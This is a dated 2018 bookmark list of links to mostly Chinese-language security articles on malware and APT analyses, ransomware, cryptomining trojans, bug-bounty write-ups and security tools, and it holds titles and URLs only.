- 3.16 [勒索软件“假面”系列——免流软件](https://www.secpulse.com/archives/69418.html)
- 3.15 [Pre-Installed Malware Found On 5 Million Popular Android Phones](https://thehackernews.com/2018/03/android-botnet-malware.html)
- 3.19 [Android中实现「类方法指令抽取方式」加固方案原理解析](https://www.52pojie.cn/thread-712927-1-1.html)
- 3.17 [APTSimulator:一款功能强大的APT模拟攻击工具集](http://www.freebuf.com/sectool/164236.html)
- 3.17 [新手上路 | 看我如何发现大疆公司网站的一个小漏洞](http://www.freebuf.com/articles/web/164418.html)
- 3.16 [MsraMiner: 潜伏已久的挖矿僵尸网络](http://blog.netlab.360.com/msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo/)
- 3.16 [Chinese-Speaking APT Actor Caught Spying On Pharmaceutical Organisations](https://www.informationsecuritybuzz.com/articles/chinese-speaking-apt-actor-caught-spying-on-pharmaceutical-organisations/)
- 3.16 [FYI: AI tools can unmask anonymous coders from their binary executables](https://www.theregister.co.uk/2018/03/16/identifying_anonymous_programmers/)
- 3.19 [安全的进化论(三):小议威胁情报](https://www.sec-un.org/%e5%ae%89%e5%85%a8%e7%9a%84%e8%bf%9b%e5%8c%96%e8%ae%ba%ef%bc%88%e4%b8%89%ef%bc%89%ef%bc%9a%e5%b0%8f%e8%ae%ae%e5%a8%81%e8%83%81%e6%83%85%e6%8a%a5/)
- 3.19 [Fakebank新变体拦截银行用户电话并转拨给诈骗者](https://www.symantec.com/connect/zh-hans/blogs/fakebank)
- 3.19 [区块链技术能为网络安全做些什么?](http://www.freebuf.com/column/165717.html)
- 3.19 [安天移动安全发布恶意广告软件RottenSys深度分析报告](https://www.secpulse.com/archives/69538.html)
- 3.20 [重新认识被人遗忘的HTTP头注入](http://www.freebuf.com/articles/web/164817.html)
- 3.20 [【勒索软件】深入剖析勒索软件传播方式](http://blog.nsfocus.net/ransomware-detail/)
- 3.20 [腾讯反病毒实验室对挖矿木马的统计分析报告](http://www.freebuf.com/column/165847.html)
- 3.20 [关于网络钓鱼的深入讨论](http://www.freebuf.com/articles/web/164870.html)
- 3.20 [MsraMiner 被曝光后72小时内的更新](http://blog.netlab.360.com/msraminer-uipdates-in-72-hours-after-disclose/)
- 3.21 [利用了多种Office OLE特性的免杀样本分析及溯源](https://mp.weixin.qq.com/s/O8aLjaqMxtbAob_GKhasiw)
- 3.21 [2017年安天移动安全年报—起承转合间的方兴未艾与暗流涌动](http://blog.avlsec.com/2018/03/5150/2017-annual-report/)
- 3.22 [Facebook 不是唯一的隐私恶棍](https://www.solidot.org/story?sid=55899)
- 3.22 [伪装为 吃鸡账号获取器 的QQ木马分析](http://www.freebuf.com/column/166113.html)
- 3.24 [虛擬貨幣挖礦程式利用PHP Weathermap漏洞入侵 Linux伺服器 ,台灣為攻擊目標之一](https://blog.trendmicro.com.tw/?p=55019)
- 3.25 [一个都不放过!Zenis病毒诠释勒索加密最强等级](https://www.secpulse.com/archives/69781.html)
- 3.27 [吃鸡玩家的一曲凉凉:“荒野行动”加速器木马攻击已达10万+](https://www.secpulse.com/archives/69837.html)
- 3.27 [天网恢恢,疏而不漏:窃取银行近百亿人民币的Carbanak 团伙头目落网](http://www.freebuf.com/news/166487.html)
- 3.27 [不起眼的黑客攻击:免费咖啡、间谍出租车和不堪一击的机场](https://www.kaspersky.com.cn/blog/small-hacks-sas2018/9454/)
- 3.28 [知物由学 | 故意欺骗神经网络!你能咋地!](http://www.freebuf.com/column/166603.html)
- 3.28 [iOS 11相机BUG,恐让用户误入恶意网站](http://www.freebuf.com/news/166622.html)
- 3.30 [一张图了解信息安全等级保护](http://www.freebuf.com/column/166981.html)
- 3.30 [看我如何利用Webhook绕过支付请求](http://www.freebuf.com/articles/web/165640.html)
- 3.30 [如何耍好中国菜刀—-文末有彩蛋](http://www.freebuf.com/column/166974.html)
- 3.30 [全球最大同性社交软件Grindr存在漏洞,泄露用户信息及位置](http://www.freebuf.com/news/166870.html)
- 3.31 [新型 Android 恶意软件 HiddenMiner 开启「毁机」挖矿模式,危害中印两国手机用户](http://hackernews.cc/archives/22143)
- 3.31 [谈APT攻击|实施者的意识和基本操作](http://www.freebuf.com/column/167094.html)
- 0x03
- 4.2 [从车联网安全到BLE安全(一)](http://www.freebuf.com/articles/terminal/166398.html)
- 4.2 [Gartner权威发布:全球网络安全产业规模发展情况及趋势预测](http://www.freebuf.com/articles/paper/167137.html)
- 4.2 [藏在短链接下的挖矿木马:NovelMiner](http://www.freebuf.com/articles/paper/166458.html)
- 4.2 [APT攻击指南:教你布置鱼竿鱼钩鱼饵成为进攻者(附送彩蛋)](http://www.freebuf.com/column/167257.html)
- 4.2 [境外黑客组织“白象”3月上旬对国内发起攻击](http://www.freebuf.com/articles/network/167254.html)
- 4.2 [摩诃草APT组织针对我国敏感机构最新的网络攻击活动分析](http://www.freebuf.com/articles/paper/167191.html)
- 4.2 [A Trojan with Hidden Malicious Code Steals User’s Messenger App Information](https://blog.trustlook.com/2018/04/02/a-trojan-with-hidden-malicious-code-steals-users-messenger-app-information/)
- 4.3 [勒索软件“假面”系列——代刷软件](http://blogs.360.cn/360mobile/2018/04/03/analysis_of_mobile_cheating/)
- 4.4 [虚假杀毒软件窃取设备存储信息,竟是两种 Android RAT 变体](http://hackernews.cc/archives/22238)
- 4.4 [Fake AV Investigation Unearths KevDroid, New Android Malware](http://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html)
- 4.8 [深度解析工控网络流量特点](http://www.freebuf.com/articles/ics-articles/167079.html)
- 4.8 [一次模拟APT攻击计划来展望未来企业网络安全规划与建设](https://www.secpulse.com/archives/70300.html)
- 4.9 [间谍软件Agent Tesla变种再现:通过特制Word文档诱导安装](http://www.freebuf.com/articles/system/167848.html)
- 4.10 [挖矿木马藏身“装修视频”](http://www.freebuf.com/articles/paper/167615.html)
- 4.11 [加勒比岛屿圣马丁岛政府遭黑客攻击,全部公共服务关停](http://www.freebuf.com/news/168249.html)
- 4.13 [APT Trends report Q1 2018](https://securelist.com/apt-trends-report-q1-2018/85280/)
- 4.13 [近年来APT组织使用的10大(类)安全漏洞](https://mp.weixin.qq.com/s/9vmyFql871eJlYzezZjEsg)
- 4.15 [2017金融科技安全分析报告](http://www.freebuf.com/articles/paper/167847.html)
- 4.16 [暴风等知名软件广告页遭挂马攻击,十多万用户被病毒感染](http://www.freebuf.com/news/168636.html)
- 4.16 [你挖矿,我挖你——绿盟安全态势感知平台变身应对非法挖矿事件“头号玩家”](http://blog.nsfocus.net/tsa-dealing-illegal-mining-events/)
- 4.17 [Sophisticated APT surveillance malware comes to Google Play](https://arstechnica.com/information-technology/2018/04/malicious-apps-in-google-play-gave-attackers-considerable-control-of-phones/)
- 4.17 [Android Trojan Spreads via DNS Hijacking](https://www.securityweek.com/android-trojan-spreads-dns-hijacking)
4.19 [XLoader Android Spyware and Banking Trojan Distributed via DNS Spoofing - TrendLabs Security Intelligence Blog](https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/)
- 4.17 [多张信用卡集于一身的FUZE智能卡真的安全吗?](http://www.droidsec.cn/%E5%88%A9%E7%94%A8%E8%93%9D%E7%89%99%E4%BB%8Efuze%E8%8E%B7%E5%8F%96%E4%BF%A1%E7%94%A8%E5%8D%A1%E6%95%B0%E6%8D%AE%E6%B5%8B%E8%AF%95/)
- 4.18 [从一次溯源窥探地下YY直播洗号产业链 - 有思想的安全新媒体](https://www.anquanke.com/post/id/105043)
- 4.18 [疑似巴基斯坦某组织近期攻击样本分析及溯源](http://www.freebuf.com/articles/paper/168528.html)
- 4.20 [360发现全球首例使用浏览器0day漏洞的Office攻击](http://www.ijiandao.com/news/focus/106119.html)
- 4.20 [美国陆军利用AI技术实现“穿墙透视”,可识别人脸](http://www.freebuf.com/news/169133.html)
- 4.22 [国产病毒国外作恶 ,界面LOGO“撞衫”国内上市公司产品](http://www.freebuf.com/articles/paper/168737.html)
- 4.23 [挖洞经验 | 看我如何利用漏洞更改Google搜索排名](http://www.freebuf.com/vuls/168589.html)
- 4.23 [边缘计算与安全概述(附《OpenStack边缘计算白皮书》中英译文下载)](http://blog.nsfocus.net/edge-computing/)
**PDF下载:** [边缘计算参考架构2.0](http://www.ecconsortium.org/Uploads/file/20171128/1511871147942955.pdf)
- 4.23 [吃鸡辅助远控木马分析](http://www.freebuf.com/articles/paper/169504.html)
- 4.23 [利用PRET控制远程打印机测试](http://www.freebuf.com/news/168168.html)
- 4.24 [StealthBot:150余个小众手机品牌预置刷量木马销往中小城市](http://blogs.360.cn/360mobile/2018/04/24/analysis_of_stealthbot/)
- 4.25 [银行拦截木马病毒有多恐怖?你的手机可能已经被监控了](http://www.freebuf.com/articles/terminal/169338.html)
- 4.25 [Invoke-Adversary:一款基于APT威胁程度评估安全产品和监控解决方案的工具](http://www.freebuf.com/sectool/169519.html)
- 4.25 [Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide](https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/)
- 4.25 [Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide](https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/)
- 4.26 [如何从气隙 PC 中窃取冷存储设备上的加密货币钱包私钥?](http://hackernews.cc/archives/22679)
- 4.26 [XLoader Android Spyware and Banking Trojan Distributed via DNS Spoofing - TrendLabs Security Intelligence Blog](https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/)
- 4.27 [病毒预警 | GandCrab最新变种来袭](http://www.freebuf.com/articles/system/169920.html)
- 4.28 [前 NSA 黑客发布 DND 应用:帮 Mac 用户抵御邪恶女佣攻击](http://hackernews.cc/archives/22748)
- 4.29 [DomLink:一款自动化的域发现工具](http://www.freebuf.com/sectool/169734.html)
- 0x04
- 5.2 [海莲花APT组织最新攻击样本分析](http://www.freebuf.com/articles/network/170074.html)
- 5.2 [神话传奇:一款通过卖号在微信群传播的远控木马](http://www.freebuf.com/articles/system/170196.html)
- 5.3 [“寄生兽”的极地行动:最新APT组织“寄生兽”活动披露](http://www.freebuf.com/articles/paper/169444.html)
- 5.4 [XiaoBa勒索病毒变种分析简报](http://www.freebuf.com/articles/network/169750.html)
- 5.5 [APT追踪 | 尼日利亚黑客组织再起花式攻击](http://www.freebuf.com/articles/network/170428.html)
- 5.8 [DarkHotel APT团伙新近活动的样本分析](https://ti.360.net/blog/articles/analysis-of-darkhotel/)
- 5.8 [病毒伪装成“汇丰银行”邮件获取用户账号](http://www.freebuf.com/articles/network/170230.html)
- 5.9 [“双杀”漏洞补丁发布 微软公开致谢360](http://www.aqniu.com/threat-alert/33732.html)
- 5.10 [Cloudfront劫持技术分析与介绍](http://www.freebuf.com/articles/web/170923.html)
- 5.10 [手把手教你无限“印”BEC币(BEC合约整数溢出漏洞还原与分析)](http://www.freebuf.com/vuls/170791.html)
- 5.11 [Maikspy Spyware Poses as Adult Game, Targets Windows and Android Users - TrendLabs Security Intelligence Blog](https://blog.trendmicro.com/trendlabs-security-intelligence/maikspy-spyware-poses-as-adult-game-targets-windows-and-android-users/)
- 5.11 [哥伦比亚大学研究人员创建隐藏嵌入文本信息新方法](http://hackernews.cc/archives/22843)
- 5.11 [改机工具在黑灰产中的应用](http://www.freebuf.com/articles/terminal/171414.html)
- 5.14 [IT threat evolution Q1 2018](https://securelist.com/it-threat-evolution-q1-2018/85469/)
- 5.16 [黑客也乌龙 | 上传恶意文件时无意泄露两个 0-day,被研究人员抓个正着](http://www.freebuf.com/news/171954.html)
- 5.17 [HeapViewer:一款专注于漏洞利用开发的IDA Pro插件](http://www.freebuf.com/sectool/171632.html)
- 5.17 [不仅仅是利比亚天蝎](http://blog.avlsec.com/2018/05/5216/scorpions/)
- 5.18 [Bondat蠕虫难挡利益诱惑,锁主页挖矿勒索危害逐步升级](http://www.freebuf.com/news/172070.html)
- 5.18 [现实版天眼系统,一个漏洞让小白都能追踪上亿美国人实时定位](http://www.freebuf.com/news/172265.html)
- 5.20 [Huntpad: 一款专为渗透测试人员设计的Notepad应用程序](http://www.freebuf.com/sectool/171593.html)
- 5.21 [快讯 | 超过2亿套日本人的个人身份信息(PII)在地下黑市售卖](http://www.freebuf.com/news/172371.html)
- 5.21 [最强后门刷榜病毒,“隐流者”家族盯上70%的国内应用市场](http://www.freebuf.com/articles/paper/171964.html)
- 5.21 [前 CIA 情报官员被怀疑将 CIA 代码上传到个人网站](http://hackernews.cc/archives/23031)
- 5.21 [DNS-Hijacking Malware Targeting iOS, Android and Desktop Users Worldwide](https://thehackernews.com/2018/05/routers-dns-hijacking.html)
- 5.21 [激活工具带毒感染量近60万 北京等四城市用户不被攻击](https://www.secpulse.com/archives/71906.html)
- 5.22 [“古惑仔”械斗上演:看Satori僵尸网络如何争夺百万路由器江湖](http://www.freebuf.com/vuls/172225.html)
- 5.22 [黑客突破物理隔离的8种方法](http://www.aqniu.com/hack-geek/34200.html) - 5.22 [Roaming Mantis dabbles in mining and phishing multilingually](https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/)
- 5.22 [腾讯科恩实验室最新汽车安全研究成果:宝马多款车型的安全研究综述](http://keenlab.tencent.com/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/)
- 5.24 [恶意程序详细分析:不仅仅是利比亚天蝎](http://www.freebuf.com/articles/security-management/172247.html)
- 5.24 [从单点加固到能力平台化 看梆梆安全如何将自适应安全理念融入其产品和服务体系](http://www.aqniu.com/tools-tech/34314.html)
- 5.24 [Android devices ship with pre-installed malware](https://blog.avast.com/android-devices-ship-with-pre-installed-malware)
- 5.25 [avast:中兴手机预装恶意软件 嵌入固件底层](http://hackernews.cc/archives/23141)
- 5.25 [部分廉价手机被发现预装恶意程序](https://www.solidot.org/story?sid=56616)
- 5.25 [DarkHotel APT团伙新近活动的样本分析](http://www.freebuf.com/articles/system/171049.html)
- 5.25 [数字货币钱包安全白皮书](http://www.freebuf.com/articles/paper/172937.html)
- 5.27 [周志华团队和蚂蚁金服合作:用分布式深度森林算法检测套现欺诈](http://www.ijiandao.com/2b/baijia/121168.html)
- 5.28 [快速进击的挖矿僵尸网络:单日攻击破10万次](http://www.freebuf.com/articles/paper/172797.html)
- 5.28 [尼日利亚黑客向上海某企业发送“木马发票”,现已入侵主机 450 台](http://hackernews.cc/archives/23161)
- 5.29 [Android辅助类病毒研究报告](http://www.freebuf.com/articles/terminal/172767.html)
- 5.30 [“隐蜂”来袭:金山毒霸截获全球首例Bootkit级挖矿僵尸网络(上篇)](http://www.freebuf.com/articles/network/173400.html)
- 5.30 [加拿大两家银行遭黑客攻击 9万名客户信息被盗](http://hackernews.cc/archives/23189)
- 5.31 [文能挑起外交争端,武能击落无人机 | 神秘的“声波攻击”到底是什么?](http://www.freebuf.com/special/173509.html)
- 0x05
- 6.1 [技术分享 | 劫持DNS通过流量植入木马实验](http://www.freebuf.com/articles/web/172921.html)
- 6.1 [新款zANTI卷土重来:高级移动渗透和安全分析工具包](http://www.freebuf.com/articles/network/173283.html)
- 6.2 [Crashing HDDs by launching an attack with sonic and ultrasonic signals](https://securityaffairs.co/wordpress/73128/breaking-news/ultrasonic-signals-hdds-dos.html)
- 6.4 [Confucius Update: New Tools and Techniques, Further Connections with Patchwork - TrendLabs Security Intelligence Blog](https://blog.trendmicro.com/trendlabs-security-intelligence/confucius-update-new-tools-and-techniques-further-connections-with-patchwork/)
- 6.6 [自己动手打造Github代码泄露监控工具](http://www.freebuf.com/articles/web/173479.html)
- 6.6 [色情直播:进击中的Android色情产业](http://blogs.360.cn/blog/attacking-the-android-porn-industry/)
- 6.8 [Pwn2Own华为HiApp漏洞原理与利用分析(下)](http://www.freebuf.com/vuls/173921.html)
- 6.7 [CVE-2018-5002 – 2018年第二波Flash零日漏洞在野攻击分析预警](https://www.secpulse.com/archives/72579.html)
- 6.10 [14亿邮箱泄露密码明文信息查询网站惊现网络](http://www.freebuf.com/news/174410.html)
- 6.9 [腾讯御见捕获Flash 0day漏洞(CVE-2018-5002)野外攻击](http://www.freebuf.com/vuls/174185.html)
- 6.11 [VPNFilter受感染设备型号增加,华硕、华为、中兴皆在列](http://www.freebuf.com/news/174190.html)
- 6.11 [另辟蹊径:Kuzzle木马伪装万能驱动钓鱼](https://www.secpulse.com/archives/72601.html)
- 6.12 [ 一加6手机的Bootloader漏洞可让攻击者控制设备 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客](http://www.freebuf.com/news/174584.html)
- 6.13 [A站受黑客攻击:近千万条用户数据外泄 涉ID及密码等](http://hackernews.cc/archives/23285)
- 6.14 [最新海莲花组织攻击事件分析](http://www.freebuf.com/articles/paper/174328.html)
- 6.13 [Hacking Team卷土重来?CVE-2018-5002 Flash 0day漏洞APT攻击分析与关联](http://www.freebuf.com/vuls/174246.html)
- 6.15 [安全新需求:海事安全漏洞满身](http://www.aqniu.com/threat-alert/34939.html)
- 6.19 [工业控制系统(ICS)安全专家必备的测试工具和安全资源](http://www.freebuf.com/sectool/174567.html)
- 6.15 [僵尸永远不死,Satori也拒绝凋零](http://blog.netlab.360.com/old-botnets-never-die-and-satori-refuse-to-fade-away-too/)
- 6.22 [Android簡訊釣魚病毒: FakeSpy竊取簡訊、帳號資料、聯絡人和通話記錄,還會散播銀行木馬 - 資安趨勢部落格](https://blog.trendmicro.com.tw/?p=55826)
- 6.26 [刷量神器藏漏洞攻击陷阱,数十万自媒体电脑沦为肉鸡](http://www.freebuf.com/articles/system/175316.html)
- 6.27 [从交友和色播乱象说起:起底当代中国情色产业链](http://www.freebuf.com/articles/neopoints/175639.html)
- 6.27 [ 敛财百万的挖矿蠕虫HSMiner活动分析](https://mp.weixin.qq.com/s/qcptD077_u9OdqgoBEq0sQ)
- 6.28 [新病毒威胁单位局域网用户 伪装正常软件很难清除](https://www.secpulse.com/archives/73018.html)
- 6.30 [吕毅:从攻击视角构建弹性信息安全防御体系](http://www.freebuf.com/articles/neopoints/176213.html)
- 0x06
- 7.2 [挖洞经验 | 看我如何发现亚马逊网站的反射型XSS漏洞](http://www.freebuf.com/articles/web/175606.html)
- 7.3 [快讯 | 发现微信支付的重大漏洞,国外白帽子竟然先联系了360?](http://www.freebuf.com/news/176407.html)
- 7.4 [VOOKI:一款免费的Web应用漏洞扫描工具](http://www.freebuf.com/sectool/176104.html)
- 7.5 [Kaspersky Lab Discovers Rakhni Trojan’s Ability To Choose Between Being A Miner Or Cryptor When Infecting A Victim](https://www.informationsecuritybuzz.com/news/kaspersky-lab-discovers-rakhni/)
- 7.9 [做巨头生意也囤洗发水,黑产江湖你不知道的那些事](http://www.freebuf.com/articles/network/176263.html)
- 7.8 [批量化扫描实践](http://www.freebuf.com/sectool/176562.html)
- 7.10 [边信道攻击新方法:利用体温盗取口令](http://www.aqniu.com/hack-geek/35852.html)
- 7.11 [巴以冲突再升级,这次导火索竟然是一款交(yue)友(pao)APP](http://www.freebuf.com/articles/terminal/176928.html)
- 7.12 [蓝宝菇(APT-C-12):核危机行动揭露](http://www.freebuf.com/articles/system/176678.html)
- 7.11 [挖洞经验 | 看我如何发现苹果公司官网Apple.com的无限制文件上传漏洞](http://www.freebuf.com/articles/web/176704.html)
- 7.16 [黑产军团控制四百万肉鸡集群,掘金区块链数字货币](http://www.freebuf.com/articles/blockchain-articles/177168.html)
- 7.14 [灰熊矿业?BearMiner的创业之路](http://www.freebuf.com/articles/terminal/176936.html)
- 7.12 [Google Play Users Risk a Yellow Card With Android/FoulGoal.A](https://securingtomorrow.mcafee.com/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/)
- 7.16 [VPNFilter恶意软件突袭了乌克兰的关键基础设施](http://www.freebuf.com/news/177669.html)
- 7.17 [微信仓促更新,黑产加速圈钱,“微信号”黑市规模接近40亿](http://www.freebuf.com/articles/network/177191.html)
- 7.17 [蓝宝菇(APT-C-12)针对性攻击技术细节揭秘](http://www.freebuf.com/articles/terminal/177384.html)
- 7.16 [Google Chrome pdfium shading drawing 整数溢出导致远程代码执行](http://blogs.360.cn/blog/google-chrome-pdfium-shading-drawing-%e6%95%b4%e6%95%b0%e6%ba%a2%e5%87%ba%e5%af%bc%e8%87%b4%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c/)
- 7.16 [Skyfire: 一种用于Fuzzing的数据驱动的种子生成工具](https://www.inforsec.org/wp/?p=2678)
- 7.17 [Autocrack:一款强大的自动化Hash破解工具](http://www.freebuf.com/sectool/177298.html)
- 7.17 [移动端跨越攻击预警:新型APT攻击方式解析](http://blogs.360.cn/blog/analysis-of-apt-c-27/)
- 7.19 [2018 Q2季度APT趋势报告](http://www.freebuf.com/news/177560.html)
- 7.19 [2018年最严重的网络安全攻击事件(截至目前)](http://www.aqniu.com/industry/36123.html)
- 7.24 [广东重庆多家三甲医院服务器遭暴力入侵,黑客赶走50余款挖矿木马独享挖矿资源](http://www.freebuf.com/articles/system/178529.html)
- 7.27 [区块链安全技术总结](http://www.freebuf.com/vuls/178587.html)
- 7.26 [走进职业键盘侠的世界,乘风破浪没有谁能阻挡的黑产江湖](http://www.freebuf.com/articles/network/178669.html)
- 7.26 [Donot APT组织-针对巴基斯坦最新攻击活动分析](http://blogs.360.cn/blog/donot-apt%e7%bb%84%e7%bb%87-%e9%92%88%e5%af%b9%e5%b7%b4%e5%9f%ba%e6%96%af%e5%9d%a6%e6%9c%80%e6%96%b0%e6%94%bb%e5%87%bb%e6%b4%bb%e5%8a%a8%e5%88%86%e6%9e%90/)
- 0x07
- 8.4 [“短信验证码”早已不安全,睡梦之中就能被盗刷](http://www.freebuf.com/news/179743.html)
- 8.6 [“退改签”诈骗背后,到底谁为黑产大开方便之门?](http://www.freebuf.com/articles/network/179387.html)
- 8.7 [Android裝置的 ADB 端口被攻擊,用來散播 Satori 殭屍網路變種](https://blog.trendmicro.com.tw/?p=56442)
- 8.9 [BlackHat 2018 | iOS越狱细节揭秘:危险的用户态只读内存](http://www.freebuf.com/articles/terminal/180490.html)
- 8.13 [假伪劣黑产链面前拼多多只是个孩子,TA才是巨人](http://www.freebuf.com/news/180391.html)
- 8.14 [ex-NSA Hacker Discloses macOS High Sierra Zero-Day Vulnerability](https://thehackernews.com/2018/08/macos-mouse-click-hack.html)
- 8.14 [肚脑虫组织(APT-C-35)移动端攻击活动揭露](http://blogs.360.cn/blog/analysis-of-apt-c-35/)
- 8.15 [24个终极数据科学项目(免费获取资源)](http://www.ijiandao.com/2b/baijia/153072.html)
- 8.19 [无线干扰及检测技术](http://www.freebuf.com/articles/wireless/181008.html)
- 8.20 [全球人口不足一部剧点击量,刷量黑色产业链了解一下](http://www.freebuf.com/articles/network/181017.html)
- 8.23 [威胁猎人 | 2018年上半年短视频行业黑灰产研究报告](https://www.secpulse.com/archives/74712.html)
- 8.29 [“心跳助手”暗藏玄机,”双生花”暗刷木马家族“借尸还魂”](http://www.freebuf.com/articles/paper/182108.html)
- 8.29 [来自11家OEM厂商的智能手机容易遭到隐藏AT指令攻击](http://www.freebuf.com/news/182216.html)
- 8.29 [机器学习:9大挑战](https://www.kaspersky.com.cn/blog/machine-learning-nine-challenges/9912/)
- 8.30 [Windows10被曝漏洞!用“记事本”就能把你打成“肉鸡”](http://www.ijiandao.com/news/focus/159095.html)
- 8.30 [GitMiner:用于Github的高级敏感内容挖掘工具](http://www.freebuf.com/sectool/181986.html)
- 0x08
- 9.7 [ShadowMiner:传说中的闷声发大财?](http://www.freebuf.com/articles/terminal/183108.html)
- 9.10 [黑你没商量!只需一根USB充电线就能在你的PC上植入恶意程序](http://www.freebuf.com/news/182271.html)
- 9.12 [一个10年陈酿的安全管理员:终端安全运营的实践和思考](http://www.freebuf.com/articles/terminal/183998.html)
- 9.12 [卡巴斯基2017年企业信息系统的安全评估报告](http://www.freebuf.com/articles/es/182554.html)
- 9.12 [安天发布针对工控恶意代码TRISIS的技术分析](https://www.aqniu.com/tools-tech/38430.html)
- 9.12 [趋势macOS全家桶隐私窃取分析](https://gandalf4a.blogspot.com/2018/09/macos_12.html)
- 9.13 [沙箱、蜜罐和欺骗防御的区别](https://www.aqniu.com/learn/38552.html)
- 9.14 [Fbot,一个Satori相关的、基于区块链DNS的蠕虫](http://blog.netlab.360.com/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns/)
- 9.15 [Munin:依据文件Hash从各种在线恶意软件扫描服务提取信息的工具](http://www.freebuf.com/sectool/182863.html)
- 9.16 [SSH-Auditor:一款SSH弱密码探测工具](http://www.freebuf.com/sectool/183178.html)
- 9.17 [一个人的安全部之企业信息安全建设规划](http://www.freebuf.com/articles/es/184078.html)
- 9.17 [互联网反欺诈体系建设系列 ( IV )——守其所攻](https://www.sec-un.org/%e4%ba%92%e8%81%94%e7%bd%91%e5%8f%8d%e6%ac%ba%e8%af%88%e4%bd%93%e7%b3%bb%e5%bb%ba%e8%ae%be%e7%b3%bb%e5%88%97-iv-%e5%ae%88%e5%85%b6%e6%89%80%e6%94%bb/)
- 9.17 [国外安全研究者爆料中国黑客组织针对越南政府的APT攻击样本](http://www.freebuf.com/articles/network/183631.html)
- 9.17 [Google's Android Team Finds Serious Flaw in Honeywell Devices](https://www.securityweek.com/googles-android-team-finds-serious-flaw-honeywell-devices)
- 9.18 [安全预警 | 疑似方正集团子公司签名泄露,遭黑客利用盗取Steam账号](http://www.freebuf.com/news/184400.html)
- 9.18 [疑似“海莲花”组织早期针对国内高校的攻击活动分析](http://www.freebuf.com/articles/system/184120.html)
- 9.18 [研究人员发现了具有僵尸网络功能勒索功能和挖掘加密货币功能的新蠕虫](http://hackernews.cc/archives/24122)
- 9.18 [互联网黑灰产工具软件,2018半年报告](http://www.freebuf.com/news/184833.html)
- 9.18 [iOS 12被阿里安全潘多拉实验室实现完美越狱](https://www.pingwest.com/w/177299)
- 9.21 [软件供应链安全 | Python Fake Package引发的任意代码执行风险](http://www.freebuf.com/articles/web/184167.html)
- 9.21 [威胁猎杀实战(二):NIDS和HIDS关联](https://www.secpulse.com/archives/75782.html)
[威胁猎杀实战(一):平台 ](https://www.secpulse.com/archives/75387.html)
- 9.21 [菜鸟驿站 1000 万快递数据泄露,涉及各大高校的大学生](http://www.ijiandao.com/2b/baijia/168841.html)
- 9.24 [还记得BlueBorne吗?一年过去了,仍有20亿蓝牙设备的漏洞没有修复](http://www.freebuf.com/news/184470.html)
- 9.25 [为了保护公司的App安全,我用遍了市面上的加固产品](http://www.freebuf.com/sectool/184626.html)
- 9.25 [新型僵尸勒索软件 Virobot 肆虐微软 Outlook](http://hackernews.cc/archives/24157)
- 9.25 [可怕!青果摄像机被曝直播用户私人生活:你在家中一举一动都被人观看!](http://www.ijiandao.com/2b/baijia/170311.html)
- 9.25 [Polymorph:支持几乎所有现有协议的实时网络数据包操作框架](http://www.freebuf.com/sectool/183897.html)
- 9.25 [基于设备指纹的风控建模以及机器学习的尝试](https://www.secpulse.com/archives/75876.html)
- 9.25 [macOS文件扩展名隐藏方式](https://gandalf4a.blogspot.com/2018/09/macos.html)
[macOS小技巧:文件扩展名](https://www.anquanke.com/post/id/160605)
[macOS Research Outtakes - File Extensions](https://blog.xpnsec.com/macos-phishing-tricks/)
- 9.26 [一个人的安全部之大话企业数据安全保护](http://www.freebuf.com/articles/database/185288.html)
- 9.26 [火眼:《2018上半年电子邮件威胁报告》](https://www.aqniu.com/industry/39170.html)
- 9.26 [Android Trojan reads Whatsapp-Messages](https://www.gdatasoftware.com/blog/2018/09/31122-android-trojan-reads-whatsapp-messages)
- 9.27 [金融行业微蜜罐系统应用思考](http://blog.nsfocus.net/application-micro-honeypot-system-financial-industry/)
- 9.27 [用户名“admin”、密码“123456”,乌克兰军方系统安全问题被曝光](http://www.freebuf.com/news/185614.html)
- 9.27 [毒云藤(APT-C-01)军政情报刺探者揭露](http://www.freebuf.com/articles/system/185155.html)
- 9.27 [BLE安全入门及实战(2)](https://www.secpulse.com/archives/75963.html)
- 9.28 [新Njrat木马(Bladabindi)的新功能源码分析](http://www.freebuf.com/articles/terminal/184930.html)
- 9.28 [“绿斑”行动——持续多年的攻击](http://www.freebuf.com/vuls/185139.html)
- 9.28 [移动互联网十年](https://www.pingwest.com/a/177759)
- 9.28 [挖洞经验 | 看我如何发现雅虎邮箱APP的存储型XSS漏洞](http://www.freebuf.com/articles/terminal/184041.html)
- 9.29 [HTTP协议调试工具汇总,你心目中应该是什么样的?](http://www.freebuf.com/sectool/184366.html)
- 9.29 [揭秘网络犯罪分子如何利用区块链隐藏自己](http://www.freebuf.com/articles/web/183993.html)
- 9.29 [GhostDNS正在针对巴西地区70种、100,000+家用路由器做恶意DNS劫持](http://blog.netlab.360.com/70-different-types-of-home-routers-all-together-100000-are-being-hijacked-by-ghostdns/)
- 9.29 [GhostDNS正在针对巴西地区70种、100,000+家用路由器做恶意DNS劫持](http://blog.netlab.360.com/70-different-types-of-home-routers-all-together-100000-are-being-hijacked-by-ghostdns/)
- 9.30 [代码自动化扫描系统的建设(下)](http://www.freebuf.com/articles/web/185148.html)
- 0x09
- 10.2 [看专家解释攻击者如何通过苹果移动设备管理协议(MDM)攻击企业中的Mac](http://www.freebuf.com/articles/system/184319.html)
- 10.3 [Facebook任意JS代码执行漏洞原理与利用分析](http://www.freebuf.com/vuls/185076.html)
- 10.5 [日益增加的移动诈骗攻击分析简报](http://www.freebuf.com/news/185254.html)
- 10.5 [彭博社曝光的“间谍芯片”,我在淘宝1块钱就能买一个](http://www.freebuf.com/news/185968.html)
